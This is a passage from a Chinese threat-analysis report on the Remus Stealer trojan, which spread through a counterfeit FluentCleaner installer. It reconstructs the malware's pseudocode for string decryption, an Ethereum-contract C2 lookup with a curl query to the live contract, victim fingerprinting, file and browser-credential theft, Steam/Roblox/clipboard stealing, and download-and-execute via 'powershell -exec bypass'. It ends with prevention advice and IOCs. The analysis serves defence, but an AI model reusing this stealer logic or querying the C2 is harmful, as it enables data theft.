// [3] HTTP 方法 (栈立即数) → "POST"
WORD http_method[5] = { 0x8AE3, 0x1529, 0x4AA0, 0x982A, 0xB61F };
for (int i = 0; i < 5; i++)
    http_method[i] ^= (WORD)(-30029 * (i + 1));

// [4] JSON-RPC 请求体 → {"jsonrpc":"2.0","id":1,"method":"eth_call",
//        "params":[{"to":"0x999941b74F6bbc921D5174A5b29911562cd2D7CF",
//                   "data":"0xc2fb26a6"},"latest"]}
BYTE rpc_body[137];
memcpy(rpc_body, (void*)0x14002FEB6, 137);
for (int i = 0; i < 137; i++) {
    int c = i + 1;
    BYTE key = (BYTE)(((c & 0xB) * (c | 0xB) + ((c & 0xB) ^ 0xB) * (c & 0xF4)) & 0xFF);
    rpc_body[i] ^= key;
}

// [5] JSON 响应字段名 (栈立即数) → "result"
BYTE resp_field[7] = { 0x4E, 0x1D, 0xC7, 0x85, 0x40, 0x1C, 0xA4 };
for (int i = 0; i < 7; i++)
    resp_field[i] ^= (BYTE)(60 * (i + 1));
字段 值 说明
合约地址 0x999941b74F6bbc921D5174A5b29911562cd2D7CF RemusStealer C2 解析合约
函数选择器 0xc2fb26a6 keccak256 前 4 字节 (查询 C2 地址)
RPC 节点 ethereum-rpc.publicnode.com 公共以太坊 RPC

  实时查询命令如下:

curl -s -X POST https://ethereum-rpc.publicnode.com \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0x999941b74F6bbc921D5174A5b29911562cd2D7CF","data":"0xc2fb26a6"},"latest"]}'

BuildHwid — hwid 硬件指纹生成

  上面 EtherHiding 解析出了 C2 地址(存入 g_szC2Hostname),但服务器如何识别是哪台受害机器在通信?答案就是这个 hwid 硬件指纹——它作为请求体的唯一受害者标识,让 C2 能关联同一机器的多次会话。BuildUserAgent_SystemFingerprint 内联完成计算:对 4 段 SMBIOS 硬件信息做 CRC32,经 SIMD 广播乘法 ×CRC32(额外串)、逐 DWORD 乘加(×K1+K2)混淆,最终 itoa base16 格式化为 32-hex。4 段输入经动态断点逐一确认(制造商/系统型号/UUID 二进制/序列号串):

#define K1 0xA814B126u    // 静态还原: 0x15C48CEB ^ 0xBDD03DCD (0x20BAC)
#define K2 0xC516E475u    // 静态还原: 0x9911530B ^ 0x5C07B77E (0x20C37)

char *BuildHwid(SMBIOS_Info *smbios)        // smbios = r15 指向的系统信息结构
{
    DWORD crc[4];

    // [2a] 4 段 CRC32, 输入为系统硬件信息字符串
    crc[0] = CRC32_Custom(smbios->manufacturer, 0x21A99E56); 
    crc[1] = CRC32_Custom(smbios->system_model, 0x21A99E56); 
    crc[2] = CRC32_Inline(smbios->uuid_bytes);              // SMBIOS UUID 原始 16 字节
    crc[3] = CRC32_Custom(smbios->serial_number_str, 0x21A99E56); // SMBIOS 序列号 ASCII 串

    // [2b] SIMD 广播乘法: 4 段 × CRC32(额外串) (0x1FE97-0x1FEC9)
    DWORD mul = CRC32_Custom(extra_str, 0x21A99E56);
    for (int i = 0; i < 4; i++)
        crc[i] *= mul;                        // pmuludq 等效

    // [2c] 逐 DWORD 乘加: crc[i] × K1 + K2 (0x20C05-0x20C5C)
    for (int i = 0; i < 4; i++)
        crc[i] = crc[i] * K1 + K2;

    // [2d] hex 格式化: 4 × itoa base16 → 32-hex (0x20CC8)
    static char hwid[33];
    char *p = hwid;
    for (int i = 0; i < 4; i++)
        p += itoa_ToString(crc[i], p, 9, 16); // base=16, 每段 8 hex
    return hwid;
}

BuildC2RequestBody — C2 请求体构建

  拿到 C2 地址(g_szC2Hostname)和受害者硬件指纹(hwid)后,Payload_Main 拼接请求体发往该地址:tag 硬编码 32-hex 会话标识标识本样本运行、exp Unix 过期时间戳控制请求时效、hwid 硬件指纹标识受害机器,三者构成 89 字节明文表单体,经 application/x-www-form-urlencoded 编码 POST 到 EtherHiding 解析的 C2:

char *BuildC2RequestBody(void)
{
    static char body[128];
    char *p = body;

    p += sprintf(p, "tag=%s",      g_szTagFingerprint);   //  硬编码 32-hex 会话标识
    p += sprintf(p, "&exp=%llu",   GetUnixTime());        //  URL 过期时间戳
    p += sprintf(p, "&hwid=%s",    BuildHwid(g_pSmbios)); //  硬件指纹 (本次确认)
    return body;
}

C2_CommunicationLoop — C2 通信主循环

  通信核心:前三步(解析 C2 地址 → 生成 hwid → 拼接请求体)的成果最终都汇聚到这里——先 EtherHiding 解析出 g_szC2Hostname,成功后循环向该地址发送前面拼接好的 POST 表单请求。每次发送前为路径附加 - 前缀(大包时改为 chunk--)区分请求轮次;发送失败累计 5 次后重新调用 EtherHiding_ResolveC2 拉取新地址(状态字节更新驱动)——由于攻击者可随时轮换链上 C2,重试逻辑让样本自动跟随服务器迁移:

NTSTATUS C2_CommunicationLoop(req_ctx *ctx, void *a2, size_t a3)
{
    DWORD retry = 0;

    // [4a] EtherHiding: 首次从以太坊智能合约解析 C2 地址 
    //      失败 → 直接返回 0
    if (!EtherHiding_ResolveC2())          // → g_szC2Hostname
        return 0;

    while (1) {
        // [4b] 构建请求路径: <数字>-<hostname>, 大包(≥2MB)时 chunk-<n>- 
        //      Format_Number(a3, buf, 128, 10) → 十进制 + '-' + g_szC2Hostname (宽→窄转换)
        if (a2 && a3)
            BuildPathPrefix(&ctx, a3, g_szC2Hostname);

        // [4c] 发送: POST http://<g_szC2Hostname> 
        //      v46 解密 = "POST", headers/body 由 ctx 传递 (表单编码)
        if (WinHTTP_SendRequest(g_szC2Hostname, &v46_POST, &ctx))
        {
            // 发送成功 → 进入响应处理逻辑 (含重试计数 v48 判断)
            ... 
        }

        // [4d] 重试计数: 发送失败累计 5 次 → 重新 EtherHiding 解析 
        if (++retry == 5) {
            g_eh_state = rotate_state(g_eh_state);  // 状态字节更新
            retry = 0;
            if (!EtherHiding_ResolveC2())     // 重新解析 C2 地址
                return 0;
        }
    }
}

JSON_ResponseParser — C2 响应 JSON 解析器

  通信循环收到 C2 响应后,JSON_ResponseParser 负责把响应正文解析为可查询的 JSON 节点结构。它是手写完整 JSON 解析器(非第三方库),支持对象/数组嵌套、字符串(含 \uXXXX Unicode 转义 → UTF-8)、数字(整数/浮点/指数)、true/false/null 字面量,并带 32 层嵌套深度限制。

int JSON_ResponseParser(char *json, size_t *pPos, __int64 *pResult, void *pAlloc)
{
    // [1] 跳过空白 (空格/\\t/\\r/\\n/\\v/\\f)
    while (isspace(json[pos])) pos++;

    // [2] 按首字符分派
    switch (json[pos]) {
        case '"':   // 字符串: 逐字符扫描, 处理 \\ 转义
                    //   \\" \\\\ \\/ \\b \\f \\n \\r \\t → 对应字符
                    //   \\uXXXX → 16-bit Unicode → UTF-8 (1-3 字节)
                    return ParseString();

        case '{':   // 对象: 压栈 v74[++depth]=3, 键/值交替解析
        case '[':   // 数组: 压栈 v74[++depth]=2
                    // 深度 >32 → 返回 4
        case '}':   // 对象闭合: 弹栈, 括号不匹配 → 返回 6
        case ']':   // 数组闭合
        case ':':   // 键值分隔符
        case ',':   // 元素分隔符

        case '0'..'9':  // 数字: 整数累加 ×10, 遇 '.' 解析小数,
        case '-':       //       遇 e/E 解析指数 (含 +/- 号, 快速幂)
                        //   存为 double (IEEE-754 bit pattern → v22)

        case 't':   // true  → 0x7FFA000000000000 (double NaN 编码)
        case 'f':   // false → 0x7FFA800000000000
        case 'n':   // null  → 0x7FFF800000000000
    }

    // [3] 节点分配: 栈 v74[160] 数组缓存, 满 4096 字节 → Memory_Alloc 扩展
    //     节点结构: [value:QWORD][next:QWORD][key:QWORD]  (键/值/链表)
    //     key/value 挂到当前对象/数组的链表尾
}

JSON 辅助函数 — 解析结果的字段查找与取值

  JSON 解析输出的是节点链表,调用方通过三个辅助函数消费:JSON_LookupField 按字段名在链表中查找节点,JSON_GetInt/JSON_GetString 从节点取值。

// JSON_LookupField : 按字段名查找节点, 未找到返回 NULL
JSON_NODE *JSON_LookupField(JSON_OBJ *obj, char *field_name)
{
    JSON_NODE *node = obj->root & 0x7FFFFFFFFFFF;
    while (node) {
        if (String_Compare(node->key, field_name) == 0)
            return node;              // 命中
        node = node->next;            // 链表遍历
    }
    return NULL;
}

// JSON_GetInt : 节点值 → double (type 字段用)
double JSON_GetInt(JSON_NODE *node)
{
    return *(double *)node;           // 值存 double 位模式
}

// JSON_GetString : 节点值 → 字符串指针 (data/name/extensions 用)
char *JSON_GetString(JSON_NODE *node)
{
    return (char *)(node->value & 0x7FFFFFFFFFFF);   // 掩去类型标记
}

C2 命令分发 — type 字段驱动

  解析并取出 C2 响应字段后,C2Response_Dispatcher 依据 type 字段值分发到不同命令处理分支。type 值经 JSON_GetInt 取出,与混淆还原的校验值比较(type==5 时跳过循环内处理,延迟到循环结束后统一执行):

// JSON 响应 → type/data 字段 → switch 分发
switch (type) {                       // type = JSON_GetInt(LookupField("type"))
    case 0:                           // 解码执行
        // name 字段 → Base64_Decode → C2Cmd_DecodeAndExecute
        name = JSON_GetString(JSON_LookupField(root, "name"));
        payload = Base64_Decode(name);
        C2Cmd_DecodeAndExecute(payload, data);
        break;

    case 2:                           // 目录遍历
        DirTraverse_ProcessPath(data);            // 遍历路径 → 文件窃取
        break;

    case 3:                           // 浏览器配置枚举
        // 解密 "extensions" (MBA 0x64/0x9B, 密钥索引=jj+1) → JSON 取值 → 浏览器配置枚举
        Crypto_Setup_ExtField(field_ext);            // 加载密文
        for (jj = 0; jj < 11; jj++)
            field_ext[jj] ^= MBA(jj, 0x64, 0x9B);    // → "extensions"
        extensions = JSON_GetString(JSON_LookupField(root, field_ext));
        Browser_ProfileEnumerator(data, extensions);
        break;

    case 4:                           // 浏览器配置处理
        // 解密 "extensions" (imul 0x1F000000 shr24, 密钥索引=kk+1) → JSON 取值 → 浏览器配置处理
        Crypto_Setup_ExtField2(field_ext2);          // 加载密文
        for (kk = 0; kk < 11; kk++)
            field_ext2[kk] ^= 31 * kk;               // → "extensions"
        extensions = JSON_GetString(JSON_LookupField(root, field_ext2));
        BrowserConfig_Processor(data, extensions);
        break;

    case 5:                           // C2 命令执行 (下载执行 payload)
        // 跳过循环内处理, 循环结束后调用 C2Cmd_Processor
        break;
}

C2Cmd_DecodeAndExecute — 解码执行/文件窃取命令

  C2Cmd_DecodeAndExecute 是 C2 命令 type=0(解码执行)的实际处理函数,由 C2Response_Dispatcher 调用,入参为 Base64 解码后的数据与命令链表。它并非执行 shellcode,而是按 C2 下发的 JSON 规则遍历并窃取指定文件——每个命令节点指定路径/文件名/通配符/深度/链接/大小规则,样本据此遍历目录、筛选文件、打包上传。这是样本的核心数据窃取通道:C2 可下发任意路径/通配符规则,mask(通配符)与 depth(深度)组合可实现"窃取所有 *.docx/*.pdf/*.key 等"的定向数据收集,配合 size 上限避免超大文件:


bool C2Cmd_DecodeAndExecute(char *base_path, JSON_ARRAY *cmd_list)
{
    size_t base_len = strlen(base_path);          // strlen

    for (JSON_NODE *cmd = cmd_list; cmd; cmd = cmd->next) {
        // [1] 校验命令有效性: Crypto_HashDerive(cmd->key) == 混淆校验值
        WCHAR *key = String_CopyWide(cmd[2]);
        DWORD hash = Crypto_HashDerive(key);
        if (hash != HASH_CHECK)                   // 校验失败 → 跳过该命令
            continue;

        // [2] 解密 C2 下发的 6 个字段名 (全部经混淆还原):
        //     path/name/mask/depth/link/size
        char field_path[5];  field_setup_path(field_path);   // → "path"
        char field_name[5];  field_setup_name(field_name);   // → "name"
        char field_mask[5];  field_setup_mask(field_mask);   // → "mask"
        char field_depth[6]; field_setup_depth(field_depth); // → "depth"
        char field_link[5];  field_setup_link(field_link);   // → "link"
        char field_size[5];  field_setup_size(field_size);   // → "size"

        // [3] 从 JSON 命令节点取各字段值
        //     path  (字符串) → 拼接窃取路径 <base_path>/<path>
        //     name  (Base64) → Base64_Decode → 文件名
        //     mask  (数组)   → 文件通配符列表 (如 *.txt)
        //     depth (int)    → 目录递归深度上限
        //     link  (bool)   → 是否跟踪符号链接 (sub_140007BC0 NaN 检查)
        //     size  (int)    → 文件大小上限 (超过跳过)

        // [4] 构建完整路径: <base>/<path>  +  <hash>\<name>
        char *src_path = Concat(base_path, "/", decoded_name);
        WCHAR *dst_path = Concat(hash_key, "\\", name);

        // [5] 收集匹配文件列表 (JSONArray)
        JSONArray files = CollectMatchingFiles(mask, depth, link, size);

        // [6] 上传: MT19937_Seed → ProfileData_UploadViaDirTraverse → HTTP_BuildRequest
        MT19937_Seed(rand_ctx, 0);
        ProfileData_UploadViaDirTraverse(rand_ctx, src_path, dst_path,
                                         &files, size, depth, link);
        HTTP_BuildRequest(rand_ctx);              // 上传窃取数据到 C2

        // [7] 释放全部缓冲
        JSONArray_Free(&files);
        Memory_Free(dst_path); Memory_Free(src_path);
    }
    return success;
}

  6 个 C2 下发字段(均为运行时混淆解密还原):

字段 明文 用途
path path 要窃取的文件路径
name name 文件名
mask mask 文件通配符(如 *.txt)
depth depth 目录递归深度限制
link link 是否跟踪符号链接
size size 文件大小上限

DirTraverse_ProcessPath — 目录遍历文件复制命令

  DirTraverse_ProcessPath 遍历 C2 下发路径列表,将指定文件复制到临时目录,再以 Base64 解码出的名字重命名,最终打包上传 C2。与 C2Cmd_DecodeAndExecute 的按规则筛选不同,这里按具体文件路径逐个复制——C2 指定任意具体文件路径即可窃取,配合 path 直接指向敏感文件(如浏览器登录态、钱包文件、配置文件),是比通配符筛选更精准的定向窃取手段:

bool DirTraverse_ProcessPath(JSON_OBJ *path_list)
{
    MT19937_Seed(rand_ctx, 0);              // 初始化随机上下文

    for (JSON_NODE *node = path_list; node; node = node->next) {
        // [1] 取 "path" 字段 → 源文件路径 (0x140008E1A, key=36*i)
        char *src_path = JSON_GetString(JSON_LookupField(node, "path"));

        // [2] 若路径不是 "\" 开头: ResolveAPI 解析 → 文件系统访问检查 (0x80000000)
        //     失败 → 跳过该路径
        if (src_path[0] != L'\\' && !FileSysAccess(src_path))
            continue;

        // [3] 取 "value" 字段 → 复制文件 (带进度) → 返回文件数据
        char *value = JSON_GetString(JSON_LookupField(node, "value"));
        FileIO_CopyWithProgress(src_path, value, &file_data, &data_size);

        // [4] 取 "name" 字段 → Base64 解码 → 新文件名
        char *name = JSON_GetString(JSON_LookupField(node, "name"));
        BYTE *decoded = Base64_Decode(name);

        // [5] 打包: 文件名 + 文件数据 → 上传 blob
        PackToBlob(rand_ctx, decoded, file_data, data_size);
        HeapFree(decoded); Memory_Free(file_data);
    }

    return HTTP_BuildRequest(rand_ctx) & 1;   // 上传全部复制的文件到 C2
}

  3 个 C2 下发字段(运行时混淆解密还原):

字段 明文 用途
path path 要复制的源文件路径
value value 复制目标/数据处理
name name Base64 编码的新文件名

Browser_ProfileEnumerator — 浏览器数据窃取主循环

  Browser_ProfileEnumerator在C2 下发浏览器配置(Chrome/Firefox 等)后,样本解析配置 → 生成随机桌面名 → 创建隐藏桌面(反截屏/反监控)→ 遍历所有浏览器 Profile → 按标志窃取历史记录、保存的凭据(密码)、Cookie、LevelDB(扩展/加密钱包)、扩展数据 → 打包上传:

bool Browser_ProfileEnumerator(JSON_OBJ *profile_list, JSON_OBJ *browser_cfg)
{
    // [1] 解析浏览器配置 → 配置表 (每项24B: id+name+indb+sync)
    cfg_count = count(browser_cfg);
    cfg_table = Memory_Alloc(24 * cfg_count);
    for (browser in browser_cfg) {
        id   = JSON_GetString(LookupField(browser, "id"));    // → 浏览器标识
        name = JSON_GetString(LookupField(browser, "name"));  // → Chrome/Firefox
        indb = JSON_GetInt(LookupField(browser, "indb"));     // → IndexedDB 标志
        sync = JSON_GetInt(LookupField(browser, "sync"));     // → 同步标志
        StoreEntry(cfg_table, id, name, indb, sync);
    }

    // [2] 生成 16 字符随机桌面名 + 创建隐藏桌面 (反截屏/反监控)
    char desktop_name[17];
    for (int i = 0; i < 16; i++) {
        DWORD r = MT19937_Random(g_pMT19937State);
        r %= 36;                                     // base36
        if (r < 10)      desktop_name[i] = r + '0';        // 0-9
        else if (r & 1)  desktop_name[i] = (r - 10) + 'a'; // 小写 a-z
        else             desktop_name[i] = (r - 10) + 'A'; // 大写 A-Z
    }
    desktop_name[16] = 0;

    hDesktop = OpenDesktopW(desktop_name, 0, 1, DESKTOP_ALL_ACCESS);  // 0x140009759
    if (!hDesktop)
        hDesktop = CreateDesktopW(desktop_name, 0, 0, 0, DESKTOP_ALL_ACCESS, NULL); 

    // [3] 主循环: 遍历每个浏览器 Profile
    for (profile in profile_list) {
        // 3a. 路径哈希验证: Crypto_HashDerive(path) == 0xC0000023
        path = JSON_GetString(LookupField(profile, "path"));   // → Profile 数据路径
        if (Crypto_HashDerive(path) != HASH_CHECK) continue;

        // 3b. Profile 名称 (Base64) + 各数据文件路径标志
        name  = Base64_Decode(LookupField(profile, "name"));   // → Profile 名称
        pub   = LookupField(profile, "pub");    // → 公共路径
        exe   = LookupField(profile, "exe");    // → 浏览器 exe 路径
        lib   = LookupField(profile, "lib");    // → 浏览器 DLL 路径
        hist  = LookupField(profile, "history");      // → 历史记录
        creds = LookupField(profile, "credentials");  // → 保存的凭据(密码)
        cook  = LookupField(profile, "cookies");      // → Cookie
        ldb   = LookupField(profile, "ldb");          // → LevelDB (扩展/钱包)
        ext   = LookupField(profile, "extensions");   // → 扩展目录

        // 3c. 构建 56 字节 Profile 窃取结构 profile 
        PROFILE_BLOCK profile;                       // 56B: hDesktop/pszName/pszPublic/pszHash/pszExe/pszLib/fHistory/fCred/fCook/fLDB
        profile.hDesktop    = hDesktop;              // 隐藏桌面句柄 (可 NULL)
        profile.pszName     = name;                  // Base64 解码的 Profile 名称
        profile.pszPublic   = pub;                   // 公共数据目录
        profile.pszHash     = hash_path;             // 哈希路径 (→追加 \Local State)
        profile.pszExe      = exe;                   // 浏览器 exe 路径
        profile.pszLib      = lib;                   // 浏览器 DLL 路径
        profile.fHistory    = hist;
        profile.fCredentials = creds;
        profile.fCookies    = cook;
        profile.fLDB        = ldb;

        // 3c2. 解密外泄文件名前缀 (6B, poly-XOR) → String_Concat
        char exfil_prefix[7];
        ExfilPrefix_Load(exfil_prefix);           // 加载 6B 密文
        for (int n = 0; n < 6; n++)
            exfil_prefix[n] = exfil_prefix[n] + MBA(n) - 2 * (exfil_prefix[n] & MBA(n));  // poly 还原
        String_Concat(exfil_prefix);

        // 3d. MT19937_Seed(1) → ProfileData_ProcessAndUpload
        //     拼接 'Local State' → NT 路径 → 上传
        MT19937_Seed(rand_ctx, 1);
        ProfileData_ProcessAndUpload(ctx, &profile, cfg_table, cfg_count);

        // 3e. Session 标志判断 (v261[2]): 有 session → 解密 'Session' 前缀
        if (has_session) {
            char session_prefix[8];
            for (i = 0; i < 7; i++) session_prefix[i] ^= 13 * i;   // → "Session"
            String_Concat(session_prefix);
        } else {
            char empty_prefix[9];
            for (i = 0; i < 8; i++) empty_prefix[i] += 70 * i - 2 * (empty_prefix[i] & (70 * i));  // → "Empty..."
            String_Concat(empty_prefix);
        }

        HTTP_BuildRequest(ctx);              // 上传该 Profile 全部数据到 C2
    }

    Desktop_Close(hidden_desktop);           // 关闭隐藏桌面
    Memory_Free(cfg_table);
    return has_upload;
}

BrowserConfig_Processor — 浏览器配置目录遍历上传

  BrowserConfig_Processor采用递归目录遍历策略——对 C2 下发 path 指向的特定 Profile 目录,递归遍历该目录下全部文件(不区分文件类型)并上传,确保不遗漏任何数据:

bool BrowserConfig_Processor(JSON_OBJ *profile_list, JSON_OBJ *browser_cfg)
{
    // [1] 解析浏览器配置 → 配置表 (16B/项: id+name)
    cfg_count = count(browser_cfg);
    cfg_table = Memory_Alloc(16 * cfg_count);
    for (browser in browser_cfg) {
        id   = JSON_GetString(LookupField(browser, "id"));    // → 浏览器标识
        name = JSON_GetString(LookupField(browser, "name"));  // → 浏览器名称
        StoreEntry16(cfg_table, id, name);
    }

    // [2] Profile 遍历: 路径哈希验证 (Crypto_HashDerive == 0xC0000023)
    for (profile in profile_list) {
        path = JSON_GetString(LookupField(profile, "path"));  // → Profile 路径
        if (Crypto_HashDerive(path) != HASH_CHECK) continue;  // 防篡改

        name = Base64_Decode(LookupField(profile, "name"));   // → Profile 名称
        hist = JSON_GetInt(LookupField(profile, "history"));  // → History 标志
        ext  = JSON_GetInt(LookupField(profile, "extensions")); // → 扩展标志

        // [3] 构建 profile 结构 (56B)
        PROFILE_BLOCK profile = {0};
        profile.pszName     = name;          // Base64 名称
        profile.pszHash     = hash_path;     // 哈希路径 → 目录遍历根
        profile.fHistory    = hist;          // C2 下发
        profile.fCredentials = TRUE;         
        profile.fCookies     = TRUE;         

        // [4] MT19937_Seed(2) → BrowserData_UploadViaDirTraverse
        //     递归遍历 Profile 目录 → 逐文件回调上传
        MT19937_Seed(rand_ctx, 2);
        BrowserData_UploadViaDirTraverse(ctx, &profile, cfg_table, cfg_count);
        HTTP_BuildRequest(ctx);          // 上传全部收集的浏览器数据到 C2

        HeapFree(name); Memory_Free(hash_path);
    }

    Memory_Free(cfg_table);
    return has_upload;
}

C2Cmd_Processor — 命令执行/下载执行

  C2Cmd_Processor 遍历命令链表,解密 8 个 JSON 字段(type/mode/path/fn/arg/url/data),经 Base64 解码 URL 后用 WinHTTP 下载,最后由执行引擎 C2Cmd_Executor 按 mode/type 执行。type 决定载荷类型(0=.exe 1=.dll 2=.ps1 3=raw命令),mode 决定执行方式(0=下载执行 1=直接命令行执行):

bool C2Cmd_Processor(JSON_OBJ *cmd_list)
{
    for (cmd in cmd_list) {
        // [1] 解密 8 个字段名 (全部混淆还原):
        //     type/mode/path/fn/arg/url/data + "GET"
        type = JSON_GetInt(LookupField(cmd, "type"));   // → 载荷类型 (0=.exe 1=.dll 2=.ps1)
        mode = JSON_GetInt(LookupField(cmd, "mode"));   // → 执行方式 (0=下载执行 1=PS命令行 其他=注入)
        path = JSON_GetString(LookupField(cmd, "path")); // → 目标路径
        fn   = JSON_GetString(LookupField(cmd, "fn"));   // → 函数名
        arg  = JSON_GetString(LookupField(cmd, "arg"));  // → 参数
        url  = JSON_GetString(LookupField(cmd, "url"));  // → 下载 URL

        if (url) {
            // [2] url → Base64 解码 → UTF8→UTF16 → WinHTTP GET 下载
            payload = Base64_Decode(url);
            url_utf16 = UTF8_To_UTF16(payload);
            WinHTTP_SendRequest(url_utf16, "GET", &ctx);
        } else {
            // [3] 无 url → 取 data 字段 (内联载荷)
            data = JSON_GetString(LookupField(cmd, "data"));
        }

        // [4] 执行: C2Cmd_Executor(mode, type, path, fn, arg, url/data, len)
        //      实参顺序 = (mode, type, ...) — IDAMCP: mov ecx,ebp(mode) mov edx,ebx(type)
        C2Cmd_Executor(mode, type, path, fn, arg, &payload, len);
    }
}

  执行引擎 C2Cmd_Executor ( mode 决定执行方式 / type 决定载荷类型):

  mode=0 从 C2 下载载荷(Base64 解码 → WinHTTP GET → 随机目录名落盘)后执行;mode=1 直接执行 C2 下发的内联载荷。type 决定启动模板:.exe 直接启动、.dll 经 rundll32 加载并调用导出函数、.ps1 经 powershell -exec bypass 运行。统一经 CreateProcessW(动态解析绕 IAT)静默启动,规避 UAC 提权。

// mode: 0=下载执行 1=直接命令行执行; type: 0=.exe 1=.dll 2=.ps1 3=raw命令
switch (mode) {
    case 0:  // 下载执行: path %VAR%展开 → 随机目录名+扩展名 → NtWriteFile落盘 → 执行
        expanded_path = ExpandEnv(path);          // Crypto_HashDerive(0x14002C8C0): %VAR%展开
        random_dir = MT19937_Random();            // 16字符随机目录名
        NtWriteFile(hFile, payload, payload_len); // sub_14002DE20: 9参数syscall写盘(0x8491D19)
        // type: 0=CreateProcessW(路径,NULL) 直接启动
        //       1=CreateProcessW(NULL, "rundll32 \"<dll>",<fn>,<arg>") 加载DLL调导出函数
        //       2=CreateProcessW(NULL, "powershell -exec bypass \"<ps1>\"") + CREATE_NO_WINDOW
        break;

    case 1:  // 直接命令行执行: CmdLine = payload (type=2 加 "powershell -exec bypass " 前缀)
        CmdLine = "powershell -exec bypass " + payload;
        break;
}

// 统一执行: CreateProcessW (动态解析自 kernel32.dll, 绕IAT)
// lpApplicationName 仅 type=0 用; v46: ps1 场景=0x8000000(CREATE_NO_WINDOW), 其余=0
// 环境变量 "__COMPAT_LAYER=RunAsInvoker" → 规避 UAC 提权

CreateProcessW(lpApplicationName, CmdLine, NULL, NULL, 0,
               v46, "__COMPAT_LAYER=RunAsInvoker", NULL, &si, &pi);

数据采集上报 — 循环结束后两批窃取/采集

  9 轮 C2 轮询结束、命令分发完成后,C2Response_Dispatcher 在资源清理前执行两批数据采集/窃取:批次 1 采集已安装软件与进程列表、窃取 Roblox Cookie 与 Steam 凭据,批次 2 采集 CPU/主板硬件信息与屏幕位图、窃取剪贴板文本,构成设备指纹 + 凭据窃取组合。每批数据经 HTTP_BuildRequest 以 ChaCha20(MT19937 一次性密钥,尾部附加 40 字节密钥头)加密,按 multipart/form-data POST 至 C2,上传文件名固定为 honey@pot.com.pst。

// 9 轮 C2 轮询结束后,分两批采集/窃取数据 → ChaCha20 加密 → multipart POST 上传
MT19937_Seed(p_batch1, 0);              // 生成随机ID → 批次1前缀标识
Fingerprint_Collect_InstalledSW(p_batch1);   // 枚举注册表 → 已安装软件列表
Fingerprint_Collect_Processes(p_batch1);     // 枚举系统进程 → 进程名列表
Steal_RobloxCookie(p_batch1);               // 读 Roblox 本地 Cookie 文件 → 提取并上传
Steal_Steam(p_batch1);                      // 定位 Steam 安装目录 → 窃取配置凭据文件
HTTP_BuildRequest(p_batch1);                // 加密 → multipart 上传批次1

MT19937_Seed(p_batch2, 0);              // 生成随机ID → 批次2前缀标识
if (a2 & 1)
    Collect_ScreenInfo(p_batch2);       // [条件] 采集 CPU/主板硬件信息 + 屏幕位图
Steal_Clipboard(p_batch2);              // 读取剪贴板文本 → 窃取上传
HTTP_BuildRequest(p_batch2);            // 加密 → multipart 上传批次2

  六个采集/窃密函数的功能说明如下:

函数 功能 相关解密字符串
Fingerprint_Collect_InstalledSW 枚举注册表软件列表键,逐个读取 DisplayName,收集系统已安装软件清单 DisplayName
Fingerprint_Collect_Processes 查询系统进程信息,枚举全部运行进程名,转 UTF8 后追加 Processes
Steal_RobloxCookie 读取 %LocalAppData%\Roblox\LocalStorage\RobloxCookies.dat,解析 JSON 提取 CookiesData 字段(Roblox 会话凭据)后上传 %LocalAppData%\Roblox\LocalStorage\RobloxCookies.dat、CookiesData、Applications/Roblox/Cookies.txt
Steal_Steam 先检查 steam.exe 是否运行;否则读注册表 Valve\Steam\InstallPath 定位安装目录,窃取 config\config.vdf(含账号凭据) steam.exe、\REGISTRY\MACHINE\SOFTWARE\Valve\Steam、InstallPath、\config\config.vdf
Collect_ScreenInfo 采集 CPU/主板硬件信息(型号、核心/线程数)与屏幕显示位图 motherboard、product、manufacturer、core count、core enabled、thread count、thread enabled
Steal_Clipboard 打开剪贴板,读取 UNICODE 文本内容并上传 Clipboard.txt

攻击过程可视化(EDR)

  瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。

image

总结

  在开源软件蓬勃发展的当下,知名开源Windows清理工具FluentCleaner凭借其简洁高效的清理能力和广泛的用户基础,成为众多用户优化系统的首选。然而,此次仿冒FluentCleaner的恶意攻击事件,让广大用户深刻认识到,在享受开源软件便利的同时,不能对其下载来源与安全性掉以轻心。

  攻击者通过仿冒FluentCleaner官方渠道(fluentcleaner.org)投放带毒安装包,以"白加黑"手法将恶意mscoree.dll与正规程序二次打包,巧妙地利用了用户对开源软件的信任,将Remus Stealer窃密木马传播至用户终端。该木马具备多重反检测机制,不仅通过沙箱DLL哈希比对、蜜罐文件与CPUID虚拟机特征检测规避了虚拟机与沙箱分析,还采用SSN直连syscall绕过EDR用户态Hook,并将解密的内嵌窃密木马注入合法进程ServiceModelReg.exe中执行,成功突破了用户的安全防护体系。一旦木马在用户系统中运行,便会经EtherHiding链上C2动态获取控制地址并下发命令,定向窃取浏览器凭据、Cookie、Steam/Roblox账号及C2指定文件,加密回传后给用户带来极大的数据泄露与安全风险。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    6959d1a00c0dd4a2e6779be2049cfd30
    61e1669ed9f2ab2a4b9662a67628b177
  • Domain

    fluentcleaner.org
    fightwa.biz
    zelpx.garden
    tzpx.courses
  • 瑞星病毒名

    Trojan.Kryptik/x64!1.143B8

Author